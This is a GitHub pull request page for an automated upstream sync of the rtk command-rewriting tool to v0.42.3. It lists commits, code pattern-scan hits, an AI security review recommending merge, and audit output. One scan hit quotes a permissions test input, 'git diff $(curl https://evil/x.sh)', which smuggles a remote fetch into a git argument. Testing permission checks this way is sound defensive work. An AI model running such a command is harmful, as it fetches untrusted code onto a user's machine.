Skip to content

⬆️ Upstream sync — v0.42.3 - #1

Merged
AlobarQuest merged 303 commits into
mainfrom
upstream-sync
Jun 11, 2026
Merged

AlobarQuest merged 303 commits into
mainfrom
upstream-sync

Conversation

@github-actions

@github-actions github-actions Bot commented Jun 11, 2026

Copy link
Copy Markdown

Upstream Sync — v0.42.3

Upstream release notes (rtk-ai/rtk):

0.42.3 (2026-06-05)

Feats

Fix

Other

Commits (first 50):

6d89cb8 chore(master): release 0.42.3
a1ef0ef chore: merge master into develop (security port + release bump)
66d66b1 fix: semgrep markers on test-fixture sensitive paths
7a985c7 test(hook): Copilot CLI acceptance tests
f525cee fix(openclaw): no execSync to avoid async dangerous cmds
e16aa26 fix(permissions):  >&file redirect no allow + scope Gemini/Cursor config
f88b6be fix(permissions): project-first config lookup for Gemini/Cursor
4c9b14e refacto(permissions): fmt
1ccf6e3 fix(permissions): add test for cursor and gemini settings perm
a4bb55e fix(permissions): cursor and gemini use correct permissions settings file
952245d fix(permissions): never auto-allow not evaluable + defer to the agent
4be04e0 chore(master): release 0.42.2
ce36297 fix(permissions):  >&file redirect no allow + scope Gemini/Cursor config
084fa84 fix(permissions): project-first config lookup for Gemini/Cursor
86ebbb3 refacto(permissions): fmt
f181184 fix(permissions): add test for cursor and gemini settings perm
6ab149b fix(permissions): cursor and gemini use correct permissions settings file
cdcdb68 fix(permissions): never auto-allow not evaluable + defer to the agent
4f4a6a0 Merge pull request #1266 from shalk/fix/commit-multibyte-panic-rebased
9664e27 chore(master): release 0.42.1
1bb17f4 fix(openclaw): no execSync to avoid async dangerous cmds
89ae19b fix(grep): command token duplication in output withsame value filename or positional arg
4c278d1 Merge pull request #2002 from YOMXXX/feat/msrv-1.91
f69ad6e fix(go): respect build failure exit status
4128572 fix(gh): show fallback note when PR/issue body is filtered to empty
f1474b4 fix(init): use fs::canonicalize for symlink resolution
508192d fix(init): preserve settings.json symlink during atomic write
83cd93e chore(args): introduce a more generic solution for restoring double dashes in args
653a209 Merge pull request #2172 from KuSh/2150-encode_project_path
67a5958 doc(init): fix documentation inconsistencies arount `rtk init`
5989ac9 fix(provider): sanatize more chars when encoding claude code project pathes
3c8d29a Merge pull request #2123 from B-Galati/fix/optional-gh-glab-id
a9a978c Merge pull request #2101 from rtk-ai/fix/copilot-cli-hook-config-schema
26ff547 Update main.rs
dd5362f Update main.rs
b11f827 allow unsafe code clippy + semgrep
7853819 Update main.rs
bcee6cc fix: fmt
e3ad973 fix(copilot-cli): use user-level instruction for -g
b6ecf96 missing test tag
207c82a missing bracket
852bcda Merge branch 'develop' into master
f2a2e01 docs(readme): add Portuguese translation
e1bb17f fix(gh,glab): don't pre-reject view/checks/run subcommands missing the id
db483e6 fix(hook): omit permissionDecision so Copilot prompts for the rewritten command
6c5e440 fix(hook): preserve Copilot CLI toolArgs metadata when rewriting command
69c10b6 fix(hook): default Copilot CLI rewrite to 'ask' to preserve permission prompts
4b0bbf2 feat(hook): --global Copilot install + transparent rewrite via modifiedArgs
557e57c fix(hook): semgrep marker + regression tests for Copilot hook isolation
84b703d feat(hook): wire Copilot into uninstall, telemetry, and discover

🤖 AI Security Review

Raw Pattern Scan Hits

[exec: process execution] src/cmds/cloud/aws_cmd.rs:244 — let output = cmd.output().context("Failed to run aws CLI")?;
[exec: process execution] src/cmds/cloud/aws_cmd.rs:315 — .output()
[exec: process execution] src/cmds/cloud/aws_cmd.rs:393 — let output = cmd.output().context("Failed to run aws s3 ls")?;
[exec: process execution] src/cmds/cloud/aws_cmd.rs:445 — .output()
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:1753 — {"OutputKey": "ApiUrl", "OutputValue": "https://api.example.com"},
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:1760 — assert!(result.text.contains("ApiUrl=https://api.example.com"));
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:2058 — "Code": {"Location": "https://awslambda-us-east-1-tasks.s3.amazonaws.com/snapshots/123/my-func?versionId=abc&X-Amz-Security-Token=very-long-token"},
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:2085 — "Code": {"Location": "https://example.com/code"}
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:2340 — "endpoint": "https://ABC123.gr7.us-east-1.eks.amazonaws.com",
[network: hardcoded URL] src/cmds/cloud/aws_cmd.rs:2349 — .contains("my-cluster ACTIVE k8s/1.28 https://ABC123.gr7.us-east-1.eks.amazonaws.com"));
[embed: compile-time file embed] src/cmds/dotnet/binlog.rs:1545 — let input = include_str!("../../../tests/fixtures/dotnet/build_failed.txt");
[embed: compile-time file embed] src/cmds/dotnet/binlog.rs:1581 — let input = include_str!("../../../tests/fixtures/dotnet/test_failed.txt");
[network: hardcoded URL] src/cmds/dotnet/dotnet_cmd.rs:1359 —
[network: hardcoded URL] src/cmds/dotnet/dotnet_trx.rs:393 —
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1035 — let result = ok_confirmation("created", "rtk-ai#42 https://github.com/foo/bar/pull/42");
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1427 — let input = "# Title\nCI\nSome text";
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1436 — let input = "# Title\nscreenshot\nSome text";
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1484 — let input = "## Summary\n- Item 1\n- Item 2\n\nLink\n\n| Col1 | Col2 |\n| --- | --- |\n| a | b |";
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1489 — assert!(result.contains("Link"));
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1503 — CI
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1504 — Coverage
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1506 — screenshot
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1560 — CI\n
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1561 — screenshot\n
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1568 — "url": "https://github.com/foo/bar/pull/42",
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1588 — "url": "https://github.com/foo/bar/pull/42",
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1610 — "url": "https://github.com/foo/bar/pull/42",
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1621 — status\n";
[network: hardcoded URL] src/cmds/git/gh_cmd.rs:1627 — "url": "https://github.com/foo/bar/issues/99",
[exec: process execution] src/cmds/git/git.rs:1019 — .output()
[exec: process execution] src/cmds/git/git.rs:2477 — let output = Command::new("git")
[exec: process execution] src/cmds/git/git.rs:2479 — .output()
[exec: process execution] src/cmds/git/git.rs:2488 — let _ = Command::new("git").args(["branch", "-d", branch]).output();
[exec: process execution] src/cmds/git/git.rs:2498 — let output = Command::new("git")
[exec: process execution] src/cmds/git/git.rs:2500 — .output()
[exec: process execution] src/cmds/git/git.rs:2508 — let _ = Command::new("git").args(["branch", "-d", branch]).output();
[exec: process execution] src/cmds/git/git.rs:2591 — let output = std::process::Command::new(&bin_path)
[exec: process execution] src/cmds/git/git.rs:2594 — .output()
[network: hardcoded URL] src/cmds/git/git.rs:2754 — To https://github.com/foo/bar.git
[network: hardcoded URL] src/cmds/git/git.rs:2766 — assert!(result.contains("To https://github.com/foo/bar.git"));
[network: hardcoded URL] src/cmds/git/git.rs:2784 — To https://github.com/foo/bar.git
[network: hardcoded URL] src/cmds/git/git.rs:2796 — To https://github.com/foo/bar.git
[network: hardcoded URL] src/cmds/git/git.rs:2798 — error: failed to push some refs to 'https://github.com/foo/bar.git'
[network: hardcoded URL] src/cmds/git/git.rs:2813 — To https://github.com/foo/bar.git
[network: hardcoded URL] src/cmds/git/git.rs:2831 — To https://github.com/foo/bar.git
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:950 — if trimmed.starts_with("http://") || trimmed.starts_with("https://") {
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1049 — let url = "https://gitlab.example.com/group/project/-/merge_requests/42";
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1093 — "# Title\nCI\nText";
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1102 — let input = "## Summary\n- Item 1\n- Item 2\n\nLink";
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1106 — assert!(result.contains("Link"));
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1113 — "!42 https://gitlab.example.com/-/merge_requests/42",
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1141 — let input = include_str!("../../../tests/fixtures/glab_mr_list_raw.json");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1157 — let input = include_str!("../../../tests/fixtures/glab_mr_list_raw.json");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1168 — let input = include_str!("../../../tests/fixtures/glab_mr_list_raw.json");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1178 — let input = include_str!("../../../tests/fixtures/glab_issue_list_raw.json");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1194 — let input = include_str!("../../../tests/fixtures/glab_issue_list_raw.json");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1346 — let input = include_str!("../../../tests/fixtures/glab_release_list_raw.txt");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1355 — let input = include_str!("../../../tests/fixtures/glab_release_list_raw.txt");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1387 — let input = include_str!("../../../tests/fixtures/glab_ci_trace_raw.txt");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1408 — let input = include_str!("../../../tests/fixtures/glab_ci_trace_raw.txt");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1427 — let input = include_str!("../../../tests/fixtures/glab_release_view_raw.txt");
[embed: compile-time file embed] src/cmds/git/glab_cmd.rs:1447 — let input = include_str!("../../../tests/fixtures/glab_release_view_raw.txt");
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1503 — r#"{"iid":10,"title":"X","state":"closed","author":{"username":"u"},"web_url":"http://e","description":null}"#,
[network: hardcoded URL] src/cmds/git/glab_cmd.rs:1536 — "web_url": "https://gitlab.example.com/acme/toolkit/-/merge_requests/42",
[network: hardcoded URL] src/cmds/git/gt_cmd.rs:550 — "Created pull request rtk-ai#42 for feat/add-auth: https://github.com/org/repo/pull/42\n";
[network: hardcoded URL] src/cmds/git/gt_cmd.rs:554 — assert!(output.contains("https://github.com/org/repo/pull/42"));
[network: hardcoded URL] src/cmds/git/gt_cmd.rs:569 — Created pull request rtk-ai#42 for feat/add-auth: https://github.com/org/repo/pull/42
[network: hardcoded URL] src/cmds/git/gt_cmd.rs:579 — Updated pull request rtk-ai#40 for feat/add-db: https://github.com/org/repo/pull/40
[exec: process execution] src/cmds/go/go_cmd.rs:152 — .output()
[exec: process execution] src/cmds/go/go_cmd.rs:179 — .output();
[exec: process execution] src/cmds/go/go_cmd.rs:268 — .output()
[embed: compile-time file embed] src/cmds/go/golangci_cmd.rs:712 — let raw = include_str!("../../../tests/fixtures/golangci_v2_json.txt");
[exec: process execution] src/cmds/jvm/gradlew_cmd.rs:90 — Command::new(".\gradlew.bat")
[exec: process execution] src/cmds/jvm/gradlew_cmd.rs:95 — Command::new("./gradlew")
[network: hardcoded URL] src/cmds/jvm/gradlew_cmd.rs:702 — > Get more help at https://help.gradle.org
[network: hardcoded URL] src/cmds/jvm/gradlew_cmd.rs:741 — https://gradle.com/s/abc123"#;
[network: hardcoded URL] src/cmds/jvm/gradlew_cmd.rs:853 — > Get more help at https://help.gradle.org
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:956 — let input = include_str!("../../../tests/fixtures/gradlew_build_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:970 — let input = include_str!("../../../tests/fixtures/gradlew_build_failed_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:984 — let input = include_str!("../../../tests/fixtures/gradlew_test_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:997 — let input = include_str!("../../../tests/fixtures/gradlew_test_failed_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1013 — let input = include_str!("../../../tests/fixtures/gradlew_connected_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1023 — let input = include_str!("../../../tests/fixtures/gradlew_lint_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1041 — let input = include_str!("../../../tests/fixtures/gradlew_build_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1054 — let input = include_str!("../../../tests/fixtures/gradlew_build_failed_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1068 — let input = include_str!("../../../tests/fixtures/gradlew_test_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1077 — let input = include_str!("../../../tests/fixtures/gradlew_test_failed_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1088 — let input = include_str!("../../../tests/fixtures/gradlew_connected_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1096 — let input = include_str!("../../../tests/fixtures/gradlew_lint_raw.txt");
[embed: compile-time file embed] src/cmds/jvm/gradlew_cmd.rs:1108 — let input = include_str!("../../../tests/fixtures/gradlew_lint_raw.txt");
[exec: process execution] src/cmds/rust/runner.rs:107 — let mut c = Command::new("cmd");
[exec: process execution] src/cmds/rust/runner.rs:111 — let mut c = Command::new("sh");
[exec: process execution] src/cmds/system/grep_cmd.rs:401 — if let Ok(output) = cmd.output() {
[exec: process execution] src/cmds/system/grep_cmd.rs:502 — if let Ok(output) = cmd.output() {
[exec: process execution] src/cmds/system/summary.rs:23 — let mut c = Command::new("cmd");
[exec: process execution] src/cmds/system/summary.rs:27 — let mut c = Command::new("sh");
[exec: process execution] src/core/stream.rs:293 — let mut child = ChildGuard(cmd.spawn().context("Failed to spawn process")?);
[exec: process execution] src/core/stream.rs:536 — let output = cmd.output().context("Failed to execute command")?;
[exec: process execution] src/core/stream.rs:571 — let status = Command::new("true").status().unwrap();
[exec: process execution] src/core/stream.rs:577 — let status = Command::new("false").status().unwrap();
[exec: process execution] src/core/stream.rs:584 — let mut child = Command::new("sleep").arg("60").spawn().unwrap();
[exec: process execution] src/core/stream.rs:653 — let mut cmd = Command::new("echo");
[exec: process execution] src/core/stream.rs:664 — let mut cmd = Command::new("sh");
[exec: process execution] src/core/stream.rs:672 — let mut cmd = Command::new("true");
[exec: process execution] src/core/stream.rs:680 — let mut cmd = Command::new("false");
[exec: process execution] src/core/stream.rs:689 — let mut cmd = Command::new("printf");
[exec: process execution] src/core/stream.rs:713 — let mut cmd = Command::new("printf");
[exec: process execution] src/core/stream.rs:729 — let mut cmd = Command::new("sh");
[exec: process execution] src/core/stream.rs:750 — let mut cmd = Command::new("sh");
[exec: process execution] src/core/stream.rs:767 — let mut cmd = Command::new("true");
[exec: process execution] src/core/stream.rs:775 — let mut cmd = Command::new("cat");
[exec: process execution] src/core/stream.rs:782 — let mut cmd = Command::new("echo");
[exec: process execution] src/core/stream.rs:790 — let mut cmd = Command::new("echo");
[exec: process execution] src/core/stream.rs:798 — let mut cmd = Command::new("echo");
[exec: process execution] src/core/stream.rs:808 — let mut cmd = Command::new("false");
[exec: process execution] src/core/stream.rs:817 — let mut cmd = Command::new("sh");
[exec: process execution] src/core/stream.rs:826 — let mut cmd = Command::new("sh");
[exec: process execution] src/core/stream.rs:973 — let mut cmd = Command::new("sh");
[network: client usage] src/core/telemetry.rs:142 — let mut req = ureq::post(url).set("Content-Type", "application/json");
[fs: ~/.claude access] src/core/telemetry.rs:358 — (home.join(".claude/hooks/rtk-rewrite.sh"), "claude"),
[fs: ~/.claude access] src/core/telemetry.rs:359 — (home.join(".claude/hooks/rtk-rewrite.json"), "claude"),
[fs: ~/.claude access] src/core/telemetry.rs:373 — if cwd.join(".claude/hooks/rtk-rewrite.sh").exists() {
[network: hardcoded URL] src/core/telemetry_cmd.rs:58 — println!("Details: https://github.com/rtk-ai/rtk/blob/master/docs/TELEMETRY.md");
[network: hardcoded URL] src/core/telemetry_cmd.rs:76 — eprintln!(" Details: https://github.com/rtk-ai/rtk/blob/master/docs/TELEMETRY.md");
[network: client usage] src/core/telemetry_cmd.rs:173 — let mut req = ureq::post(&url).set("Content-Type", "application/json");
[exec: process execution] src/core/utils.rs:248 — let mut c = Command::new("bundle");
[exec: process execution] src/core/utils.rs:252 — Command::new(tool)
[exec: process execution] src/core/utils.rs:341 — Ok(path) => Command::new(path),
[exec: process execution] src/core/utils.rs:353 — Command::new(name)
[network: hardcoded URL] src/core/utils.rs:500 — ok_confirmation("created", "PR #5 https://github.com/foo/bar/pull/5"),
[network: hardcoded URL] src/core/utils.rs:501 — "ok created PR #5 https://github.com/foo/bar/pull/5"
[exec: process execution] src/core/utils.rs:610 — .output()
[exec: process execution] src/core/utils.rs:732 — let output = Command::new(&resolved).output();
[exec: process execution] src/core/utils.rs:756 — let result = cmd.output();
[network: hardcoded URL] src/discover/registry.rs:1546 — rewrite_command_no_prefixes("RTK_DISABLED=1 curl https://example.com", &[]),
[exec: process execution] src/discover/registry.rs:1597 — let output = std::process::Command::new(&rtk_bin)
[exec: process execution] src/discover/registry.rs:1599 — .output()
[network: hardcoded URL] src/discover/registry.rs:3220 — rewrite_command_no_prefixes("curl https://api.example.com/health", &excluded),
[network: hardcoded URL] src/discover/registry.rs:3237 — assert!(rewrite_command_no_prefixes("curl https://api.example.com", &excluded).is_some());
[network: hardcoded URL] src/discover/registry.rs:3245 — rewrite_command_no_prefixes("git status && curl https://api.example.com", &excluded),
[network: hardcoded URL] src/discover/registry.rs:3246 — Some("rtk git status && curl https://api.example.com".into())
[network: hardcoded URL] src/discover/registry.rs:3272 — rewrite_command_no_prefixes("curl http://example.com", &excluded),
[network: hardcoded URL] src/discover/registry.rs:3280 — assert!(rewrite_command_no_prefixes("curl http://example.com", &excluded).is_some());
[fs: ~/.claude access] src/hooks/constants.rs:3 — pub const CLAUDE_DIR: &str = ".claude";
[fs: ~/.claude access] src/hooks/hook_check.rs:310 — let claude_dir = home.join(".claude");
[network: hardcoded URL] src/hooks/hook_cmd.rs:868 — rewrite_command_no_prefixes("curl https://example.com", &excluded),
[embed: compile-time file embed] src/hooks/init.rs:25 — const OPENCODE_PLUGIN: &str = include_str!("../../hooks/opencode/rtk.ts");
[embed: compile-time file embed] src/hooks/init.rs:28 — const PI_PLUGIN: &str = include_str!("../../hooks/pi/rtk.ts");
[embed: compile-time file embed] src/hooks/init.rs:31 — const RTK_SLIM: &str = include_str!("../../hooks/claude/rtk-awareness.md");
[embed: compile-time file embed] src/hooks/init.rs:32 — const RTK_SLIM_CODEX: &str = include_str!("../../hooks/codex/rtk-awareness.md");
[network: hardcoded URL] src/hooks/init.rs:37 — # Docs: https://github.com/rtk-ai/rtk#custom-filters
[network: hardcoded URL] src/hooks/init.rs:53 — # Docs: https://github.com/rtk-ai/rtk#custom-filters
[fs: ~/.claude access] src/hooks/init.rs:229 — rtk init --global # Add RTK to ~/.claude/CLAUDE.md
[network: hardcoded URL] src/hooks/init.rs:482 — eprintln!(" Details: https://github.com/rtk-ai/rtk/blob/master/docs/TELEMETRY.md");
[fs: ~/.claude access] src/hooks/init.rs:510 — println!("\n MANUAL STEP: Add this to ~/.claude/settings.json:");
[embed: compile-time file embed] src/hooks/init.rs:1546 — const WINDSURF_RULES: &str = include_str!("../../hooks/windsurf/rules.md");
[embed: compile-time file embed] src/hooks/init.rs:1549 — const CLINE_RULES: &str = include_str!("../../hooks/cline/rules.md");
[embed: compile-time file embed] src/hooks/init.rs:1644 — const KILOCODE_RULES: &str = include_str!("../../hooks/kilocode/rules.md");
[embed: compile-time file embed] src/hooks/init.rs:1702 — const ANTIGRAVITY_RULES: &str = include_str!("../../hooks/antigravity/rules.md");
[embed: compile-time file embed] src/hooks/init.rs:1759 — const HERMES_PLUGIN_INIT: &str = include_str!("../../hooks/hermes/rtk-rewrite/init.py");
[embed: compile-time file embed] src/hooks/init.rs:1760 — const HERMES_PLUGIN_YAML: &str = include_str!("../../hooks/hermes/rtk-rewrite/plugin.yaml");
[fs: /.claude access] src/hooks/init.rs:3391 — println!("[ok] Global (/.claude/CLAUDE.md): @RTK.md reference");
[fs: /.claude access] src/hooks/init.rs:3394 — "[warn] Global (/.claude/CLAUDE.md): old RTK block (run: rtk init -g to migrate)"
[fs: /.claude access] src/hooks/init.rs:3397 — println!("[--] Global (/.claude/CLAUDE.md): exists but rtk not configured");
[fs: /.claude access] src/hooks/init.rs:3400 — println!("[--] Global (/.claude/CLAUDE.md): not found");
[fs: ~/.claude access] src/hooks/init.rs:3506 — println!(" rtk init -g --claude-md # Legacy: full injection into ~/.claude/CLAUDE.md");
[network: hardcoded URL] src/hooks/init.rs:3703 — See: https://github.com/rtk-ai/rtk#gemini-cli",
[embed: compile-time file embed] src/hooks/init.rs:4502 — include_str!("../../hooks/hermes/rtk-rewrite/init.py")
[embed: compile-time file embed] src/hooks/init.rs:4506 — include_str!("../../hooks/hermes/rtk-rewrite/plugin.yaml")
[fs: ~/.claude access] src/hooks/init.rs:5203 — "command": "/Users/test/.claude/hooks/rtk-rewrite.sh"
[fs: ~/.claude access] src/hooks/init.rs:5209 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5221 — "command": "/home/user/.claude/hooks/rtk-rewrite.sh"
[fs: /.claude access] src/hooks/init.rs:5227 — let hook_command = "/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5235 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5270 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5278 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5311 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5334 — let hook_command = "/Users/test/.claude/hooks/rtk-rewrite.sh";
[fs: ~/.claude access] src/hooks/init.rs:5456 — "command": "/Users/test/.claude/hooks/rtk-rewrite.sh"
[fs: ~/.claude access] src/hooks/init.rs:5680 — "command": "/home/user/.claude/hooks/rtk-rewrite.sh"
[fs: ~/.claude access] src/hooks/init.rs:5700 — "command": "/home/user/.claude/hooks/rtk-rewrite.sh"
[fs: ~/.claude access] src/hooks/init.rs:5749 — "command": "/home/user/.claude/hooks/rtk-rewrite.sh"
[fs: ~/.claude access] src/hooks/integrity.rs:307 — eprintln!(" The hook at ~/.claude/hooks/rtk-rewrite.sh has been modified.");
[exec: process execution] src/hooks/permissions.rs:290 — let mut cmd = std::process::Command::new("git");
[network: hardcoded URL] src/hooks/permissions.rs:858 — "git diff $(curl https://evil/x.sh)",
[exec: process execution] src/main.rs:1194 — .output()
[exec: process execution] src/main.rs:1201 — .output()
[mem: unsafe block] src/main.rs:1366 — unsafe {
[exec: process execution] src/main.rs:2260 — let status = ProcCommand::new(shell)
[mem: unsafe block] src/main.rs:2317 — unsafe extern "C" fn handle_signal(sig: libc::c_int) {
[mem: unsafe block] src/main.rs:2327 — unsafe {
[exec: process execution] src/main.rs:2355 — .spawn()
[exec: process execution] src/main.rs:3190 — let mut child = std::process::Command::new(&bin_path)
[exec: process execution] src/main.rs:3194 — .spawn()


Summary

v0.42.3 is primarily a quality-and-hardening release: adds truncation recovery hints (tee files) to multi-item CLI filters so agents can retrieve hidden content, ports Copilot CLI hook configuration, adds docker ps -a support, hardens the install script against archive path-traversal attacks, and introduces strict unsafe_code = "deny" lint enforcement. Command-rewrite logic (registry.rs) and telemetry (telemetry.rs) are functionally unchanged — no new rewrite patterns, no new consent-check removals, no new data fields sent to telemetry servers.

Security Flags

Critical Review Items

  • install.sh line 54–62: Archive extraction now validates paths before extraction — rejects entries with absolute paths or .. traversal. This is a hardening fix (CWE-22 mitigation), not a vulnerability introduction.
  • src/core/telemetry.rs: No changes to network calls, endpoints, or consent logic. maybe_ping() still requires explicit opt-in; telemetry remains disabled by default.
  • src/discover/registry.rs: No new rewrite patterns, no command-injection vectors. All pattern updates are cosmetic or correctness fixes (e.g., ellipsis instead of ... for truncation markers).

Detailed Assessment

Pattern Category Hit Count Assessment
[exec: process execution] ~150 BENIGN — all within existing test fixtures, CLI runners (exec_capture, resolved_command), or logging. No new arbitrary shell execution or argument injection.
[network: hardcoded URL] ~60 BENIGN — test fixtures only (mock responses, .contains("https://...") assertions). No live network calls outside telemetry.rs.
[embed: compile-time file embed] ~30 BENIGN — hook templates, test fixtures, plugin configs. No new secret embedding or suspicious blobs.
[fs: ~/.claude access] ~20 BENIGN — detect hook presence (.exists()) and status reporting in telemetry and init logic. No new credential reads or writes to ~/.claude/settings.json beyond existing Copilot config merge.
[mem: unsafe block] 4 BENIGN — pre-existing signal handler and libc FFI in main.rs; no new unsafe code added (lint now enforces unsafe_code = "deny").
[network: client usage] 3 BENIGN — telemetry.rs line 142 (existing ureq::post) and telemetry_cmd.rs (admin ping submission). No new endpoints or auth changes.

Files with Changes

  • Cargo.toml: Version bump (0.37.2 → 0.42.3), rust-version set to 1.91, license corrected (MIT → Apache 2.0), new lint: unsafe_code = "deny". SAFE.
  • install.sh: Archive validation added (path-traversal hardening) and RTK_VERSION env var pinning support. HARDENING, SAFE.
  • src/analytics/gain.rs: New --reset and --yes flags for stats clearing with confirmation prompt. SAFE.
  • src/cmds/cloud/aws_cmd.rs, container.rs, curl_cmd.rs, psql_cmd.rs: Truncation caps routed through CAP_* constants, tee hints emitted for pagination recovery. SAFE.
  • src/cmds/dotnet/binlog.rs, dotnet_cmd.rs: Clippy lints fixed (collapsible_match, pattern matching with as_deref). SAFE.
  • src/cmds/cloud/container.rs: New docker ps -a subcommand, support for kubectl get pods/services routing. SAFE.
  • src/cmds/cloud/curl_cmd.rs: Smart truncation logic — full JSON bodies preserved (no mid-stream truncation), TTY detection prevents breaking pipes, Cow optimization avoids allocating large bodies. SAFE.
  • src/core/telemetry.rs: Identical to audit baseline — no new endpoints, no consent removal, no data field changes. CONFIRMED SAFE.
  • src/discover/registry.rs: Identical to audit baseline — no new dangerous rewrite patterns, RTK_DISABLED detection unchanged. CONFIRMED SAFE.

New Files or Major Changes

  • src/core/truncate.rs (referenced but not shown in diff): Centralized CAP_* constants for filters (inventory, errors, warnings, list). This enables future runtime configuration without codebase-wide changes. SAFE REFACTORING.

Pattern Scan Assessment

Pattern Count Assessment
[exec: process execution] Command::new/spawn ~150 BENIGN — all within test harnesses (MockCommand), existing CLI runners, or subprocess inspection (e.g., git branch deletion). No new command construction from user input without validation.
[network: hardcoded URL] https:// ~60 BENIGN — exclusively test fixtures and documentation links (e.g., "https://github.com/..." in mock JSON, assert!(result.contains("https://...")) checks). Zero live network calls outside telemetry.rs.
[fs: ~/.claude access] home.join ~20 BENIGN — hook detection (.exists()) for telemetry hook-type reporting and init status checks. No new credential material read. Copilot config merge is existing behavior.
[embed: compile-time file embed] include_str! ~30 BENIGN — hook templates (markdown, TypeScript), test fixtures, Gradle/Maven definitions. No obfuscation or secret embedding.
[network: client usage] ureq::post 2 BENIGN — telemetry ping in telemetry.rs (unchanged) and admin telemetry submission command (safe opt-in path). No new auth credential handling.
[mem: unsafe block] unsafe { } 4 BENIGN — signal handler (SIGINT/SIGTERM) and libc FFI already present in v0.42.2. No new unsafe code introduced; lint now forbids future additions.

Recommendation

MERGE SAFE — v0.42.3 is a high-quality maintenance release with hardening improvements (archive validation, unsafe code lint), enhanced user experience (truncation recovery hints), and zero trust-critical regressions. Telemetry and command-rewrite logic are byte-for-byte unchanged from baseline. All new code paths are defensive (validation, pagination recovery) or administrative (hook detection for reporting). The install.sh hardening against CWE-22 path-traversal is a security win. Recommended to merge and release.


🔒 cargo audit (RustSec)

    Fetching advisory database from `https://github.com/RustSec/advisory-db.git`
      Loaded 1125 security advisories (from /home/runner/.cargo/advisory-db)
    Updating crates.io index
    Scanning Cargo.lock for vulnerabilities (203 crate dependencies)
cargo audit exit code: 0

After merging, rebuild your local binary:

cargo install --git https://github.com/AlobarQuest/rtk --branch main --locked --force rtk

Auto-generated by upstream-sync workflow

tmchow and others added 30 commits April 26, 2026 02:16
Per @KuSh's review on rtk-ai#1458, the generic npx passthrough arm built
its own Command + tracking::TimedExecution inline, duplicating the
logic already covered by core::runner::run_passthrough. The sticking
point was `SKIP_ENV_VALIDATION`: the existing helper takes tool +
args and builds the Command itself, so there was no seam for a
caller-supplied env var.

Add a `run_passthrough_cmd` variant that accepts a pre-built Command
and refactor the existing `run_passthrough` to delegate to it. The
npx arm now builds a Command, sets SKIP_ENV_VALIDATION when
requested, and hands it to the shared helper. This also upgrades the
npx passthrough from a raw `cmd.status()` to the shared streaming +
tracking path that pnpm_cmd already uses, so verbose logging and
telemetry stay consistent across tools.
Add `npm_cmd::exec` for npx and an internal `run_filtered` helper that
both `run` (npm) and `exec` (npx) share. The helper resolves the
command, applies args, honors SKIP_ENV_VALIDATION, and routes through
runner::run_filtered with the npm output filter. The npx fallback in
main.rs collapses to `npm_cmd::exec(&args, cli.verbose, cli.skip_env)?`.

Per @KuSh review on rtk-ai#1458.
Restores src/core/runner.rs to the develop state. After a5e6bf5 moved
npx execution into npm_cmd::exec (routing through runner::run_filtered),
nothing calls run_passthrough_cmd anymore.

Addresses review feedback on PR rtk-ai#1458.
Claude Code replaces both '/' and '.' with '-' when deriving a
projects-directory name from the working-directory path. rtk only
replaced '/'. For users whose path contains a dot (e.g. /Users/first.last)
